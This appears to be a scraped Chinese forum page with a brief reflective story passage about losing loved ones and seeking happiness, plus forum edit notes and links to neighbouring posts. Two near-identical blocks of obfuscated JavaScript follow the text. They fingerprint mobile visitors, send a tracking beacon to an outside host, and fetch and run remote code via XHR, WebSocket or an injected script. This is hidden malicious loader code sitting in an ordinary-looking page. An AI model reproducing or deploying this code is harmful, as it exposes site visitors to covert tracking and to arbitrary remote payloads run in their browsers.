和自己所爱的人相处几十年后,永远分离。光一次就是沉痛的打击,而我要 经历的次数比其他人要更多,这很难说是幸福的。要是我再就这个问题思考下去, 大概会被恐惧给压到昏厥。待在图书室里的那段期间,我以为自己有变得比刚出 生时要勇敢许多。而无论我看过多少描述勇气和希望的故事,“追求幸福”这个 题目对我来说,仍是无比深沉、难解。

[ 本帖最后由 皮皮夏 于 编辑 ]

本帖最近评分记录夜蒅星宸 金币 13转帖分享,红包献上!


上一篇:良家人妻的诱惑(第二部 05)

下一篇:校园保健室


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};